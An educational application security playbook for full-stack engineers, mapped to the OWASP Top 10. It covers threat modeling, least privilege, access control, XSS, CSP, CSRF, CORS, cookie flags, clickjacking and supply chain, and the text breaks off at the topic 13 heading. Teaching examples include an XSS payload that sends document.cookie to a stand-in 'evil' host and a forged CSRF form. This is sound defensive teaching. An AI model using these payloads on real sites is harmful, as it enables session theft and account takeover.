AppSec · Frontend · API · Data · Field Guide

Application Security Pro Playbook

The security a full-stack engineer must own — frontend, API, database, and the wire — as attacker-minded, defensive patterns. Explained for students and pros.

Maps to the OWASP Top 10 — every topic ties to a real vulnerability class and its fix
What it is Why it matters How it works In plain words ASCII diagram
Part I · Foundations & the Attacker Mindset
01Think like an attacker — threat modeling & trust boundaries★ start here

Scenario: you hide the "Delete user" button unless isAdmin. Ship it. An attacker opens dev-tools, sees the API call, and runs curl -X DELETE /api/users/42 directly — no button needed. Every control you left in the browser was never a control at all.

What

Threat modeling is asking, before you build: what could go wrong, who benefits, and where is my trust boundary — the line where data crosses from something you control to something you don't.

Why

The browser, the network, and the client are the attacker's territory. Anything enforced only there is decoration. Security lives on the server, past the boundary.

How

Draw the data flow, mark every boundary crossing, and ask STRIDE at each: could it be Spoofed, Tampered, Repudiated, Info-leaked, DoS'd, Elevated?

The trust boundary is everything
   ATTACKER'S TURF                    │   YOUR TURF (enforce here)
   ───────────────────────────       │   ─────────────────────────
   browser · JS · cookies · UI       │   server · API · database
   devtools · curl · Burp · proxy    │
                                      │
   [ hidden button ] ──── request ───►│──►[ authz check ] ──► db
        UI only                 trust │      REAL control
                              boundary │
   everything left of the line can be forged, replayed, or skipped
🧠
Analogy 1 — a bouncer, not a "members only" sign: a sign on the door stops nobody; the bouncer who checks IDs inside the doorway is the control. Client-side checks are the sign. The server is the bouncer — and the bouncer must never assume the sign did its job.
🏰
Analogy 2 — assume the letter is forged: a castle guard who trusts any letter "from the king" falls to the first forgery. Treat every incoming request as written by an attacker who has read your source code — because they can.
The same rule, wrong vs right side of the boundary
// ❌ the browser is on the attacker's side — this is UI, not security
if (user.isAdmin) showDeleteButton()      // attacker just skips the button:
//   curl -X DELETE https://api.example.com/users/42   ← no button required

// ✅ enforce PAST the trust boundary, on every request, server-side
app.delete('/api/users/:id', requireAuth, (req, res) => {
  if (!req.user.isAdmin) return res.status(403).end()   // the real control
  return deleteUser(req.params.id)
})
🧒
In plain wordsAnything running on the user's computer — buttons, checks, "hidden" fields — can be changed or skipped by them. Real security has to happen on your server, where the attacker can't reach in and edit the rules. Before building, imagine a clever enemy who read all your code, and ask "where could they cheat?"

✅ Do

  • Draw the data flow and mark every trust boundary before coding
  • Treat all client input as hostile — validate and authorize on the server
  • Ask "who benefits if this breaks?" for each feature

❌ Don't

  • Rely on hidden fields, disabled buttons, or client-side if checks for security
  • Assume attackers use your UI — they use curl, Burp, and scripts
Gotcha: "security by obscurity" — an unlisted URL, a minified bundle, an undocumented endpoint — feels safe and isn't. Attackers read your JavaScript, watch your network tab, and enumerate endpoints. Obscurity can be one thin layer, but if removing the secrecy removes the security, you never had any.
02Defense in depth & the CIA triad

Scenario: you put all your faith in one Web Application Firewall. It has a bad rule day, one request slips through, and because nothing behind it expected trouble, that single miss reaches the database unfiltered. One layer failed and there was no second.

What

Defense in depth = layered controls so no single failure is fatal. The CIA triad names what you're protecting: Confidentiality, Integrity, Availability.

Why

Every control eventually fails — a bypassed WAF, a missed patch, a leaked key. Layers turn one failure into a near-miss instead of a breach.

How

Stack independent controls: TLS + authn + authz + validation + parameterized queries + least-priv DB + logging. Each assumes the one in front may have failed.

One request, many independent gates
  request
     │
     ▼   TLS ───────── someone still MITMs? next layer catches it
     ▼   authn ─────── token forged?        authz still checks role
     ▼   authz ─────── role wrong?          input validation still runs
     ▼   validation ── payload slips?       parameterized query blocks SQLi
     ▼   least-priv db  even then, the db user can't DROP or read other rows
     ▼
   no single failure reaches the crown jewels alone
🧠
Analogy 1 — a castle, not a single wall: a moat, a wall, a gate, a keep, and guards. An attacker who swims the moat still faces the wall. Depth means the breach of one layer buys time and triggers alarms, not a sack of the whole castle.
🧀
Analogy 2 — Swiss cheese: every slice (layer) has holes, but stack enough slices and the holes rarely line up. An incident happens only when a hole in every layer aligns at once — which is why you add slices and shrink holes.
CIA — what each property fails like
// Confidentiality — only the right people can READ it
//   fails as: data breach, leaked PII, exposed secrets
// Integrity — data can't be changed by the wrong people / undetected
//   fails as: tampered orders, forged tokens, poisoned records
// Availability — the system stays up for legitimate users
//   fails as: DDoS, ransomware, a runaway query taking prod down

// most real controls map to one or more:
//   encryption   -> Confidentiality
//   signatures   -> Integrity
//   rate limits  -> Availability
🧒
In plain wordsDon't trust one lock — use several, so if one breaks the others still hold. And know the three things you're guarding: keeping secrets secret (Confidentiality), keeping data correct and untampered (Integrity), and keeping the app working (Availability). Almost every attack hurts one of these three.

✅ Do

  • Assume each layer will fail and put an independent one behind it
  • Classify features by which of C, I, A they protect — it clarifies the control
  • Keep layers independent (a shared flaw defeats them all at once)

❌ Don't

  • Lean on a single WAF/firewall as "the security"
  • Forget Availability — an app that's down is also a failed system
Gotcha: layers only help if they're independent. If your WAF, your auth service, and your logging all trust the same SSO token, one forged token defeats all three at once — that's one layer wearing three costumes. True depth means a different assumption at each gate.
03Least privilege & shrinking the blast radius

Scenario: a leaked API key turns out to be the root account with *:* permissions. What should have been "attacker can read one bucket" becomes "attacker owns the whole cloud account." The damage wasn't the leak — it was the permissions attached to it.

What

Least privilege: every user, service, token, and DB account gets the minimum access to do its job — nothing more, and only for as long as needed.

Why

Breaches are inevitable; the question is blast radius. Scoped credentials turn a full compromise into a contained one.

How

Deny by default, grant narrow roles, scope tokens to one action, expire them fast, and separate duties so no one identity can do everything.

Same leak, very different blast radius
   LEAKED KEY = root (*:*)          LEAKED KEY = scoped
   ┌──────────────────────┐        ┌──────────────────────┐
   │ read ALL buckets      │        │ read ONE bucket, RO   │
   │ delete databases      │        │ (no write, no delete) │
   │ create admin users    │        │ expires in 15 min     │
   │ spin up crypto miners │        │ ip-locked to your vpc │
   └──────────────────────┘        └──────────────────────┘
        company-ending                  file a rotation ticket
🧠
Analogy 1 — a hotel key card, not a master key: housekeeping gets a card for one floor, expiring at checkout — not the master that opens every room, the safe, and the vault. If it's lost, you re-key one floor, not the hotel.
🚪
Analogy 2 — need-to-know: a spy agency doesn't give every agent every file. Each knows only their mission. If one is turned, the leak is bounded. Your services should know only their own secrets.
Deny-by-default, scoped to exactly one job
// ❌ over-privileged: "just give it admin so it works"
{ "Effect": "Allow", "Action": "*", "Resource": "*" }

// ✅ least privilege: one action, one resource, with a condition
{
  "Effect": "Allow",
  "Action": "s3:GetObject",
  "Resource": "arn:aws:s3:::reports-bucket/daily/*",
  "Condition": { "IpAddress": { "aws:SourceIp": "10.0.0.0/16" } }
}
// the app can read daily reports from one bucket, from our VPC — nothing else
🧒
In plain wordsGive every account, key, and program only the exact access it needs — like handing a house-sitter a key to the front door, not the keys to your car, safe, and office too. Then when something gets stolen (and it will), the thief can only reach one small thing instead of everything.

✅ Do

  • Start from deny-all and add the narrowest grants that make it work
  • Scope tokens to one action/resource and give them short lifetimes
  • Separate duties — the deploy key can't also read customer data

❌ Don't

  • Grant * "to unblock the demo" — temporary becomes permanent
  • Share one all-powerful service account across every app
Gotcha: privilege creep. Access gets granted for a one-off task and never revoked, so accounts slowly accumulate god-mode over years. Least privilege isn't a one-time setup — it needs periodic access reviews and auto-expiry, or entropy quietly turns every account into root.
04Authentication vs authorization — the two questions★ core idea

Scenario: you nail login — passwords hashed, MFA, sessions. Then a logged-in user changes the id in /api/invoices/1041 to 1042 and reads someone else's invoice. You proved who they are and forgot to check what they're allowed to see.

What

Authentication (authn) answers "who are you?" Authorization (authz) answers "are you allowed to do this?" Two separate questions, two separate checks.

Why

Confusing them is the #1 web vuln class (broken access control). Being logged in is not permission to touch a specific resource.

How

Authn once (verify identity → issue a session/token). Authz on every request, per resource: does this user own or have a role for that object?

Two gates, not one
   request ──► [ AUTHN ]  who are you?
                  │        (password/MFA/token → identity)
                  ▼
               [ AUTHZ ]  are you allowed to touch THIS?
                  │        (role? own the row? RBAC/ABAC)
                  ▼
               resource

   passing authn ≠ passing authz. Check ownership on the OBJECT,
   every time — "logged in" is not "permitted."
🧠
Analogy 1 — airport ID vs boarding pass: the ID check proves who you are (authn). The boarding pass proves you may board this flight, in this seat (authz). A valid passport doesn't let you sit in first class on someone else's ticket.
🏢
Analogy 2 — badge into the lobby vs into the server room: your badge gets you in the building (authn). It does not automatically open every locked door (authz). Each door checks your access level separately.
Authn passes; authz is the check you must not skip
app.get('/api/invoices/:id', requireAuth, async (req, res) => {
  const inv = await db.invoice(req.params.id)

  // ❌ authn only — any logged-in user reads ANY invoice (IDOR, topic 15)
  // return res.json(inv)

  // ✅ authz — does THIS user own THAT invoice?
  if (inv.ownerId !== req.user.id && !req.user.isAdmin)
    return res.status(404).end()   // 404 not 403 — don't confirm it exists
  return res.json(inv)
})
🧒
In plain wordsLogging in proves who you are. It does not prove you're allowed to open a particular door. Those are two different checks — and forgetting the second one (letting any logged-in person peek at anyone's data by changing a number in the URL) is one of the most common bugs on the whole web.

✅ Do

  • Authenticate once; authorize on every request against the specific object
  • Check ownership/role server-side using the session identity, not a client-supplied user id
  • Return 404 (not 403) for objects the user may not even know exist

❌ Don't

  • Assume "has a valid session" means "may access this record"
  • Trust a userId or role sent from the client
Gotcha: the identity for authz must come from the server-verified session/token, never from a request field. If you read req.body.userId or a ?role=admin query param to decide access, the attacker simply sets it themselves. Derive "who" from the signed token; derive "allowed" from the database — never from user input.
05The OWASP Top 10 — your map of what goes wrong

Scenario: your lead asks "are we secure?" and you don't know where to start. The OWASP Top 10 is the industry's shared answer: the ten categories of web risk that cause the most real breaches — a checklist to aim your effort at what actually gets exploited.

What

A community-maintained, periodically-updated ranking of the ten most critical web application risk categories, from broken access control to SSRF.

Why

It focuses limited time on the vulnerabilities that actually cause breaches, gives teams a shared vocabulary, and anchors the rest of this playbook.

How

Use it as a review checklist and a threat-modeling prompt: for each category, ask "how would this hit us, and what's our control?"

The Top 10 (2021) → where in this playbook
  A01 Broken Access Control ........ topics 4, 15, 25
  A02 Cryptographic Failures ....... topics 24, 27
  A03 Injection (XSS, SQLi, …) ..... topics 6, 16, 22
  A04 Insecure Design .............. topics 1, 2, 3
  A05 Security Misconfiguration .... topics 9, 20, 23
  A06 Vulnerable Components ........ topics 12, 28
  A07 Auth & Identity Failures ..... topics 13, 14, 19
  A08 Software/Data Integrity ...... topics 12, 21
  A09 Logging & Monitoring Failures  topics 29, 30
  A10 Server-Side Request Forgery .. topic 17
🧠
Analogy 1 — the CDC's top causes of illness: you can't defend against every rare disease, so public health focuses on the leading causes. OWASP is that list for web apps — treat the common, high-impact risks first and you prevent most real incidents.
🗺️
Analogy 2 — a pre-flight checklist: pilots don't improvise safety; they run a fixed list every time. The Top 10 is your pre-ship checklist — boring, repeatable, and exactly why boring flights are safe flights.
Turn the list into a review gate
# a lightweight PR/security review prompt, one line per category
$ cat security-checklist.md
- [ ] A01 access control: authz checked on every object, server-side?
- [ ] A02 crypto: TLS everywhere? secrets not in git? modern algorithms?
- [ ] A03 injection: parameterized queries + output encoding?
- [ ] A05 config: security headers, CORS, no default creds, no debug in prod?
- [ ] A06 components: dependencies scanned, no known CVEs shipped?
- [ ] A07 auth: hashing, MFA, rate limiting, session expiry?
- [ ] A09 logging: security events logged, alertable, no secrets in logs?
🧒
In plain wordsSecurity experts made a "top ten list" of the mistakes that break websites most often. Instead of worrying about every possible attack, you check your app against these ten common ones — like a doctor screening for the most common illnesses first. The rest of this playbook walks that list, one fix at a time.

✅ Do

  • Turn the Top 10 into a repeatable review checklist for every release
  • Prioritize A01 (access control) and A03 (injection) — they cause the most damage
  • Re-check against the latest edition; the list evolves as attacks do

❌ Don't

  • Treat it as exhaustive — it's the common risks, not every risk
  • Tick it once and forget; new code reopens old categories
Gotcha: the Top 10 is a starting floor, not a ceiling. Passing it means you avoided the common mistakes — it says nothing about business-logic flaws unique to your app (a coupon that stacks infinitely, a refund that credits twice). Use it to clear the basics, then threat-model the logic only you understand.
Part II · Frontend Security
06XSS — when your page runs the attacker's code★ critical

Scenario: your comment box shows what users type. Someone posts <img src=x onerror="fetch('//evil/'+document.cookie)">. You render it as HTML, so every visitor's browser runs the attacker's script and ships their session cookie to evil. Their code, running on your origin, with your users' trust.

What

Cross-Site Scripting: attacker-supplied text is rendered as executable HTML/JS in another user's browser. Stored, reflected, or DOM-based.

Why

Their script runs as your site — it can steal cookies, keystrokes, and tokens, rewrite the page, and act as the victim. It's OWASP A03 (Injection).

How

Never build HTML from untrusted strings. Encode on output for the context (HTML, attribute, JS, URL), let your framework auto-escape, and add a strong CSP (topic 7).

Stored XSS — one payload, every visitor
   attacker ──post comment──►  your DB stores:  <script>steal()</script>
                                     │
   victim opens page ──────────────►│ server sends it back INSIDE the HTML
                                     ▼
   victim's browser: "this is a <script>, I'll RUN it" ──► cookies → attacker
   the browser can't tell YOUR script from the ATTACKER'S — same origin, same trust
🧠
Analogy 1 — graffiti that gives orders: imagine a notice board where anything written is obeyed, not just read. A vandal writes "everyone hand your wallet to Bob," and passers-by comply. XSS is a page that treats visitor input as instructions instead of text.
📢
Analogy 2 — the receptionist who reads notes aloud as commands: you hand a note that says "unlock the vault." Instead of showing it, the receptionist performs it. Encoding output is the receptionist learning to display notes, never execute them.
Render as text, not markup
// ❌ builds live HTML from user input — classic XSS sink
el.innerHTML = comment.body
//   payload:  <img src=x onerror="fetch('//evil/'+document.cookie)">
//   → runs in every viewer's browser, as your origin

// ✅ treat it as data; the browser shows the tags, never runs them
el.textContent = comment.body

// frameworks auto-escape {comment.body} — the danger is the escape hatch:
//   React dangerouslySetInnerHTML · Vue v-html · Angular [innerHTML]
// only ever feed those OUTPUT of a sanitizer (DOMPurify), never raw input
el.innerHTML = DOMPurify.sanitize(comment.body)
🧒
In plain wordsIf your website takes what a visitor types and treats it as code instead of words, a bad guy can type in a tiny program that then runs on everyone else's screen — stealing their login, spying on them, or defacing the page. The fix: always show user input as plain text, never let the browser run it.

✅ Do

  • Let the framework auto-escape; use textContent over innerHTML
  • Encode for the exact context (HTML body, attribute, URL, JS)
  • Sanitize with a vetted library (DOMPurify) if you truly must render HTML, and layer a CSP

❌ Don't

  • Concatenate user input into innerHTML, document.write, or inline event handlers
  • Trust a blocklist of "bad tags" — encoders and allowlists beat blocklists
Gotcha: DOM-based XSS needs no server bug at all — element.innerHTML = location.hash takes attacker-controlled URL text straight into a sink, entirely in the browser. Server-side templating won't catch it. Audit client-side sinks (innerHTML, eval, setAttribute on href/src) fed by sources (location, postMessage, referrer).
07Content Security Policy — a second net under XSS

Scenario: despite your best encoding, one XSS bug slips through in a rarely-visited template. With a strong Content Security Policy, the injected <script> simply refuses to run — the browser blocks it because it isn't on your allowlist. The bug is still a bug, but it's no longer a breach.

What

A response header that tells the browser exactly which sources of script, style, images, and connections are allowed to load and run on your page.

Why

It's defense in depth for XSS: even if a payload lands, an inline/unknown script is refused. It also blocks data exfiltration to unknown hosts.

How

Ship Content-Security-Policy with a strict script-src — ideally per-request nonces — and no 'unsafe-inline'. Start in report-only mode.

The browser enforces your allowlist
  Content-Security-Policy: default-src 'self';
     script-src 'self' 'nonce-r4nd0m';  object-src 'none'; base-uri 'self'

  page tries to run…
    <script src="/app.js">              ✓ same origin  → allowed
    <script nonce="r4nd0m">…            ✓ matches nonce → allowed
    <script>injected_xss()</script>      ✗ no nonce      → BLOCKED
    <img onerror=steal()>               ✗ inline handler→ BLOCKED
  fetch('https://evil.com') …           ✗ not in connect-src → BLOCKED
🧠
Analogy 1 — a strict guest list at the door: even if a gate-crasher sneaks a fake invite inside, the bouncer only lets in names on the list. CSP is the browser checking every script against your guest list and turning away anyone uninvited.
🧯
Analogy 2 — a sprinkler system: you still try not to start fires (encode output), but the sprinkler contains the one that breaks out. CSP doesn't fix the XSS; it stops the fire from spreading to your users.
A strict, nonce-based policy — and how to roll it out
# 1) observe first — log violations without breaking anything
$ curl -I https://app.example.com | grep -i content-security
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp

# 2) then enforce: allow self + a per-request nonce, ban inline & objects
Content-Security-Policy: default-src 'self';
  script-src 'self' 'nonce-{RANDOM_PER_REQUEST}';
  style-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'
# no 'unsafe-inline', no 'unsafe-eval' — those hand the allowlist back to attackers
🧒
In plain wordsA CSP is a note your website gives the browser saying "only run scripts from these exact places." So even if a hacker manages to sneak a script onto the page, the browser looks at your list, doesn't see it, and refuses to run it. It's a safety net for when your other defenses miss.

✅ Do

  • Roll out with Content-Security-Policy-Report-Only first, watch reports, then enforce
  • Prefer per-request nonces (or hashes) over host allowlists
  • Set object-src 'none' and base-uri 'self' — cheap, high-value

❌ Don't

  • Add 'unsafe-inline' / 'unsafe-eval' — it silently defeats the whole policy
  • Treat CSP as a replacement for output encoding — it's the backstop, not the fix
Gotcha: a single 'unsafe-inline' in script-src — often added to make an analytics snippet work — reopens the exact hole CSP was closing, because injected inline scripts are now allowed again. Overly broad host allowlists (script-src * or a CDN that hosts anyone's JS) do the same. A CSP with one careless directive is theater.
08CSRF — riding the user's logged-in session

Scenario: your bank app changes the email on POST /account/email and trusts the session cookie. An attacker emails the victim a page that auto-submits a hidden form to your endpoint. The victim's browser attaches their cookie automatically, the email is changed, and account takeover follows — the victim never clicked anything obvious.

What

Cross-Site Request Forgery: a malicious site makes the victim's browser send a state-changing request to your app, riding their existing cookie session.

Why

Browsers attach cookies to requests automatically, cross-site. If a cookie alone authorizes an action, any site can trigger that action as the victim.

How

Require proof the request came from your page: SameSite cookies + an anti-CSRF token the attacker can't read. Never mutate state on GET.

The forged request rides the cookie
  victim logged into bank.com  (cookie stored in browser)
        │
   visits evil.com, which contains:
        <form action="https://bank.com/account/email" method="POST">
          <input name="email" value="attacker@evil.com">   (auto-submits)
        │
        ▼  browser sends POST to bank.com  ── and ATTACHES the bank cookie
   bank.com: "valid session!" → changes email → account taken over
   fix: SameSite cookie won't ride cross-site  +  token evil.com can't read
🧠
Analogy 1 — a signed blank check in your pocket: your cookie is a check the browser auto-fills and signs for any shop that asks. A con artist just needs to point your browser at the right "shop." The CSRF token is a secret code only the real store's counter shows you.
🎭
Analogy 2 — someone using your unlocked phone: you're logged in, phone unlocked. A stranger grabs it and taps "send $500." SameSite is the phone refusing taps that come from outside the app; the token is a PIN they don't know.
SameSite + token; never mutate on GET
// ✅ 1) cookie won't be sent on cross-site POSTs
res.cookie('sid', id, { httpOnly: true, secure: true, sameSite: 'lax' })

// ✅ 2) synchronizer token — server plants it, verifies it per request
//    attacker's page CAN'T read your token (same-origin policy), so can't forge it
app.post('/account/email', requireAuth, (req, res) => {
  if (req.body.csrf !== req.session.csrfToken) return res.status(403).end()
  updateEmail(req.user.id, req.body.email)
})

// ❌ never do state changes on GET — links, images, prefetch all trigger them
// app.get('/account/delete', ...)   ← a single <img src> nukes the account
🧒
In plain wordsYour browser automatically shows your "I'm logged in" cookie to a website whenever it talks to it — even if a different, evil website tricked your browser into sending the message. So the evil site can make your bank do things as you. The fix is a secret password on each action that only the real site knows, plus telling the cookie "don't tag along to other sites' requests."

✅ Do

  • Set SameSite=Lax (or Strict) on session cookies
  • Require an unpredictable anti-CSRF token on every state-changing request
  • Keep all mutations on POST/PUT/DELETE, never GET

❌ Don't

  • Authorize actions on the cookie alone
  • Assume SameSite fully covers it — older browsers and some flows leak; keep the token
Gotcha: pure-token APIs using Authorization: Bearer headers (not cookies) are largely CSRF-immune, because the browser doesn't auto-attach headers — but the moment you also accept the token from a cookie "for convenience," CSRF is back. Pick one transport. And CORS is not a CSRF defense: the forged request still reaches your server; CORS only hides the response.
09CORS — who is allowed to read your responses

Scenario: your frontend on app.example.com calls your API on api.example.com and the browser blocks it: "No 'Access-Control-Allow-Origin' header." You're tempted to reflect any origin and allow credentials to make the error vanish — which quietly turns every website into a trusted reader of your users' data.

What

Cross-Origin Resource Sharing: browser rules that decide whether JS on one origin may read the response from another origin's API.

Why

By default the same-origin policy blocks cross-origin reads (protecting your data). CORS is how you selectively relax that — and it's easy to relax too far.

How

Return Access-Control-Allow-Origin with an explicit allowlist of trusted origins. Only add Allow-Credentials: true for those exact origins — never with *.

CORS relaxes same-origin — carefully
  app.example.com  ──fetch──►  api.example.com
        │                            │ responds with:
        │                            │   Access-Control-Allow-Origin: https://app.example.com
        ▼                            │   Access-Control-Allow-Credentials: true
  browser: origin matches allowlist → JS may READ the response ✓

  ❌ DANGER: Allow-Origin: *  +  Allow-Credentials: true  (spec forbids, libs fake it)
     or reflecting ANY Origin → evil.com reads your users' authenticated data
🧠
Analogy 1 — a guest list for who may read your mail: same-origin policy says "only you open your mailbox." CORS is you naming specific trusted neighbors who may too. Reflecting any origin is taping a note that says "whoever asks, help yourself" — including the burglar.
🪟
Analogy 2 — a one-way mirror: the same-origin policy is the mirror; other sites can send a request but can't see in. CORS is you choosing which specific rooms get a window. A wildcard removes the glass entirely.
Explicit allowlist, credentials only for known origins
const ALLOW = new Set(['https://app.example.com', 'https://admin.example.com'])

app.use((req, res, next) => {
  const origin = req.headers.origin
  if (ALLOW.has(origin)) {                       // ✅ exact match, never reflect blindly
    res.set('Access-Control-Allow-Origin', origin)
    res.set('Access-Control-Allow-Credentials', 'true')
    res.set('Vary', 'Origin')                    // don't cache one origin's ACAO for all
  }
  next()
})
// ❌ res.set('Access-Control-Allow-Origin', req.headers.origin)  // reflects ANYONE
// ❌ '*' together with credentials — the browser rejects it, so libs "helpfully" reflect
🧒
In plain wordsBrowsers normally stop one website's code from reading another website's private data — that's a good thing. CORS is how your API says "these specific friendly sites are allowed to read my answers." The mistake is saying "everyone is my friend," which lets any malicious site read your logged-in users' data.

✅ Do

  • Allowlist exact origins; add Vary: Origin when you echo one back
  • Enable credentials only for the specific trusted origins that need them
  • Keep the allowlist in config, reviewed like any other access grant

❌ Don't

  • Reflect req.headers.origin unconditionally, or use * with credentials
  • Think CORS protects your server — it only governs what browsers let JS read
Gotcha: CORS is a browser control, not server authorization. A permissive CORS policy doesn't let curl or a server-side attacker do anything new — they were never bound by it. Conversely, a strict CORS policy is not a substitute for authn/authz: the request still hits your server and runs unless you check permissions. CORS decides who can read the reply, not who can make the call.
10Secure cookies — HttpOnly, Secure, SameSite

Scenario: your session cookie has no flags. One XSS bug lets document.cookie read it and email it to an attacker — instant account takeover. One misconfigured link sends it over plain HTTP and a coffee-shop sniffer grabs it. Three small flags would have stopped both.

What

Four attributes that harden a cookie: HttpOnly (JS can't read it), Secure (HTTPS only), SameSite (limits cross-site sending), plus a sane scope/expiry.

Why

The session cookie is the user's identity. Unprotected, it's stealable by XSS, network sniffing, or CSRF — each flag closes one avenue.

How

Set all of them on session cookies, scope narrowly (path, domain), keep lifetimes short, and consider the __Host- prefix.

Each flag blocks a specific theft
  Set-Cookie: sid=…; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600

    HttpOnly  ─► document.cookie can't read it  → XSS can't steal the session
    Secure    ─► only sent over HTTPS           → no sniffing on plain HTTP
    SameSite  ─► not sent on cross-site requests → blunts CSRF (topic 8)
    Max-Age   ─► expires                         → shrinks the theft window
    __Host-   ─► locks to host, path=/, secure   → subdomain can't set/override
🧠
Analogy 1 — a wallet in a zipped, inside pocket: HttpOnly is keeping it out of easy reach (scripts can't grab it), Secure is only opening it in safe places (HTTPS), SameSite is not flashing it to strangers who ask (cross-site). Same wallet, far harder to lift.
⏱️
Analogy 2 — a hotel key that expires at checkout: even if someone copies it, a short Max-Age means it stops working soon. Long-lived sessions are keys that never expire — a stolen one works forever.
Set every flag; prefer the __Host- prefix
// ✅ hardened session cookie
res.cookie('__Host-sid', sessionId, {
  httpOnly: true,     // JS (and XSS) cannot read it
  secure:   true,     // HTTPS only — never sent in the clear
  sameSite: 'lax',    // not attached to cross-site requests (CSRF defense)
  path:     '/',      // required for the __Host- prefix
  maxAge:   3600_000  // short-lived; refresh on activity
})
// ❌ res.cookie('sid', id)   // readable by JS, sent over HTTP, rides cross-site
🧒
In plain wordsYour login cookie is basically your identity card for the site. These flags are like keeping that card in a hard-to-reach pocket (scripts can't grab it), only showing it in safe places (encrypted connections), not flashing it to strangers (other sites), and having it expire soon. Without them, one small bug lets someone copy your card and become you.

✅ Do

  • Set HttpOnly; Secure; SameSite on every session/auth cookie
  • Use the __Host- prefix and short lifetimes; rotate the session id on login
  • Scope path/domain as narrowly as the app allows

❌ Don't

  • Store session tokens in localStorage — JS (and XSS) reads it trivially
  • Set Domain=.example.com unless every subdomain is fully trusted
Gotcha: the "just use JWT in localStorage" pattern trades CSRF-immunity for XSS-exposure — and XSS is the far more common bug. localStorage has no HttpOnly equivalent, so any script on the page can read the token. An HttpOnly cookie survives XSS reads; a localStorage token does not. Choose cookies-with-flags unless you have a specific reason not to.
11Clickjacking — invisible frames stealing clicks

Scenario: an attacker loads your "Transfer funds" page in an invisible <iframe>, lays it over a game that says "Click to win!", and lines up the hidden button under the visible one. The victim clicks the game; the click lands on your confirm button. They authorized a transfer without ever seeing your page.

What

Clickjacking: your real page is framed transparently over decoy content, so the victim's clicks are hijacked onto your buttons ("UI redress").

Why

The victim is genuinely logged in, so the framed action is fully authorized — the attacker just borrows their clicks on sensitive controls.

How

Tell browsers your page may not be framed by others: frame-ancestors in CSP (modern) and the legacy X-Frame-Options header.

A transparent frame over a decoy
   what the victim SEES        what is REALLY there (opacity: 0)
   ┌──────────────────────┐    ┌──────────────────────┐
   │   🎁  Click to win!   │    │  your bank.com page   │
   │                      │    │  [ Confirm transfer ] │  ← aligned under
   │      [  CLICK  ]      │    │                      │     the decoy
   └──────────────────────┘    └──────────────────────┘
   click on "CLICK" ───────────► actually hits "Confirm transfer"
   defense: frame-ancestors 'none' → browser refuses to frame your page
🧠
Analogy 1 — a fake signature pad: you think you're signing for a pizza, but a real contract is layered underneath your pen. Your signature is genuine; it just landed on the wrong document. Clickjacking layers your real page under a harmless-looking one.
🃏
Analogy 2 — a shell game with your cursor: the button you're aiming at isn't the button you hit. Framing busting is nailing your page down so it can't be shuffled under a decoy.
Refuse to be framed
# modern, flexible — part of your CSP
Content-Security-Policy: frame-ancestors 'none';
#   or allow only yourself:  frame-ancestors 'self';
#   or a specific partner:    frame-ancestors https://partner.example.com;

# legacy header for old browsers — keep both for coverage
X-Frame-Options: DENY
#   (SAMEORIGIN if you legitimately frame your own pages)
🧒
In plain wordsA bad site can put your real page on top of a fun-looking fake one, but make your page invisible. When the visitor clicks what looks like a game button, they're really clicking your "Yes, do it" button underneath. You stop this by telling browsers "never let another website put my page inside theirs."

✅ Do

  • Send frame-ancestors 'none' (or 'self') on sensitive pages
  • Keep X-Frame-Options too, for older browsers
  • Require a fresh confirmation/re-auth for high-value actions

❌ Don't

  • Rely on flimsy JS "frame-busting" — it's bypassable with sandboxed frames
  • Leave money-moving or permission-changing pages framable
Gotcha: X-Frame-Options can't express "allow these two partners" and is ignored when set via <meta> (header only). frame-ancestors supersedes it and is the real control — but if a proxy or framework strips your security headers, you're exposed and won't notice. Verify the headers on the live response with curl -I, not just in your config.
12Frontend supply chain — npm, CDNs & SRI

Scenario: you load an analytics script from a third-party CDN with <script src="https://cdn.other.com/a.js">. That CDN gets compromised (or a maintainer pushes a malicious update). Overnight, attacker code runs on every page of your site, in your users' browsers, with full access — you shipped a backdoor you never wrote.

What

Your app runs code you didn't write: npm dependencies and remote CDN scripts. A compromise of any of them is a compromise of your page.

Why

Modern frontends pull in hundreds of transitive packages. One malicious update or hijacked CDN executes with your origin's full trust (OWASP A06/A08).

How

Pin versions with a lockfile, scan dependencies, minimize third-party scripts, and add Subresource Integrity so a tampered file simply won't load.

One poisoned dependency, every user hit
   your app  ──imports──►  left-pad@1.0  ──imports──►  tiny-dep@2  (compromised)
       │                                                     │
       └── ships to browser ────────────────────────────────┘
                     malicious code now runs as YOUR origin

   defenses:
     lockfile ─► exact versions, no surprise upgrades
     SRI      ─► <script integrity="sha384-…"> → browser rejects if bytes changed
     scanning ─► npm audit / Dependabot flags known-bad versions (topic 28)
🧠
Analogy 1 — a potluck where one dish is poisoned: you cooked carefully, but the meal is everything on the table. One contributor's bad dish sickens your guests. Dependencies are other people's dishes served under your name — you're responsible for what you serve.
📦
Analogy 2 — a tamper-evident seal: SRI is the seal on a medicine bottle. If the bytes don't match the hash you expect, the browser refuses to "take" the script — a swapped file is caught before it runs.
Pin, verify integrity, and self-host what you can
// ✅ Subresource Integrity — browser runs it ONLY if the hash matches
// <script src="https://cdn.example.com/lib.js"
//         integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
//         crossorigin="anonymous"></script>

// pin exact versions — a lockfile stops silent malicious upgrades
// package.json:  "lib": "1.4.2"   (not "^1.4.2")   + commit package-lock.json
$ npm ci                 # install EXACTLY the lockfile — reproducible, no drift
$ npm audit --production # flag dependencies with known vulnerabilities
$ npm audit signatures   # verify packages are signed by the registry
🧒
In plain wordsYour website is built partly from other people's code — hundreds of little pieces. If any one of those pieces gets tampered with, the bad code runs on your site as if you wrote it. So you lock exact versions, scan them for known problems, load as few outside scripts as possible, and use a "tamper seal" (SRI) so a changed file just won't run.

✅ Do

  • Commit a lockfile and install with npm ci; pin third-party scripts
  • Add SRI hashes to any script loaded from a CDN
  • Scan dependencies in CI and self-host critical assets where practical

❌ Don't

  • Load <script> from an unpinned third-party URL with no integrity check
  • Auto-merge dependency bumps without review, or ignore npm audit for months
Gotcha: the danger is mostly transitive — you vet the ten packages you chose, but they pull in hundreds you never saw. A typo-squatted or hijacked deep dependency runs with the same privileges as your own code. SRI only helps for assets you load by explicit URL, not for bundled npm code — for that, your defense is lockfiles, scanning, and minimizing the tree.
Part III · API & Backend Security
13Authentication — sessions vs JWT

Scenario: a user changes their password, but their stolen JWT still works for another hour because you built stateless auth and "can't" revoke tokens. Meanwhile another team stores JWTs in localStorage and one XSS empties every account. Two auth models, two very different failure modes.

